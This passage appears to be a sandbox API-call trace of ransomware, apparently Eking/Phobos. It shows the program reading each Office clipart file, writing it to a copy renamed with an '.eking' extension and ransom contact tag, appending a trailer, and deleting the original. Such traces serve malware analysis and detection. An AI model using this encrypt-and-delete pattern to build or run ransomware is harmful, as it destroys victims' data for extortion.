0x3a0 [0264.283] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2644) returned 1 [0264.283] CloseHandle (hObject=0x3a0) returned 1 [0264.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0264.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0264.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.285] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.285] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0264.287] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa54, lpOverlapped=0x0) returned 1 [0264.291] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa60, lpOverlapped=0x0) returned 1 [0264.296] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.296] CloseHandle (hObject=0x3a0) returned 1 [0264.296] CloseHandle (hObject=0x354) returned 1 [0264.584] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0 [0264.584] SetEvent (hEvent=0x2b8) returned 1 [0264.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.585] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9590) returned 1 [0264.586] CloseHandle (hObject=0x354) returned 1 [0264.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0264.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0264.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.586] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.586] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0264.587] ReadFile (in: hFile=0x354, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2576, lpOverlapped=0x0) returned 1 [0264.593] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2580, lpOverlapped=0x0) returned 1 [0264.594] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.594] CloseHandle (hObject=0x354) returned 1 [0264.594] CloseHandle (hObject=0x3b4) returned 1 [0264.595] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0 [0264.596] SetEvent (hEvent=0x2b8) returned 1 [0264.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.599] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=27552) returned 1 [0264.599] CloseHandle (hObject=0x3b4) returned 1 [0264.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0264.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0264.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.600] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.600] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.808] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x6ba0, lpOverlapped=0x0) returned 1 [0264.815] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6bb0, lpOverlapped=0x0) returned 1 [0264.819] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.819] CloseHandle (hObject=0x3b4) returned 1 [0264.819] CloseHandle (hObject=0x3b0) returned 1 [0264.820] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0 [0264.821] SetEvent (hEvent=0x2b8) returned 1 [0264.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.822] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=11500) returned 1 [0264.822] CloseHandle (hObject=0x3b0) returned 1 [0264.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0264.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0264.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.823] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.823] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0264.824] ReadFile (in: hFile=0x3b0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2cec, lpOverlapped=0x0) returned 1 [0264.836] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2cf0, lpOverlapped=0x0) returned 1 [0264.838] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.838] CloseHandle (hObject=0x3b0) returned 1 [0264.839] CloseHandle (hObject=0x3b4) returned 1 [0264.839] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0 [0264.840] SetEvent (hEvent=0x2b8) returned 1 [0264.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.841] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6256) returned 1 [0264.841] CloseHandle (hObject=0x3b4) returned 1 [0264.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0264.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0264.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.842] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.842] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.844] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1870, lpOverlapped=0x0) returned 1 [0264.856] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1880, lpOverlapped=0x0) returned 1 [0264.858] WriteFile (in: hFile=0x3b0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.858] CloseHandle (hObject=0x3b4) returned 1 [0264.858] CloseHandle (hObject=0x3b0) returned 1 [0264.859] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0 [0264.859] SetEvent (hEvent=0x2b8) returned 1 [0264.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.860] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3768) returned 1 [0264.860] CloseHandle (hObject=0x3b0) returned 1 [0264.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0264.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0264.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.861] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.861] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0264.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0264.863] ReadFile (in: hFile=0x3b0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xeb8, lpOverlapped=0x0) returned 1 [0264.870] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xec0, lpOverlapped=0x0) returned 1 [0264.871] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0264.871] CloseHandle (hObject=0x3b0) returned 1 [0264.872] CloseHandle (hObject=0x3b4) returned 1 [0264.872] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0 [0264.872] SetEvent (hEvent=0x2b8) returned 1 [0264.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.039] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=29004) returned 1 [0265.039] CloseHandle (hObject=0x394) returned 1 [0265.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0265.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0265.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0265.392] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.392] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0265.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x318 [0265.393] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x714c, lpOverlapped=0x0) returned 1 [0265.397] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7150, lpOverlapped=0x0) returned 1 [0265.400] WriteFile (in: hFile=0x318, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0265.400] CloseHandle (hObject=0x370) returned 1 [0265.402] CloseHandle (hObject=0x318) returned 1 [0265.403] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0 [0265.403] SetEvent (hEvent=0x2b8) returned 1 [0265.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0265.407] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1044) returned 1 [0265.407] CloseHandle (hObject=0x318) returned 1 [0265.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft 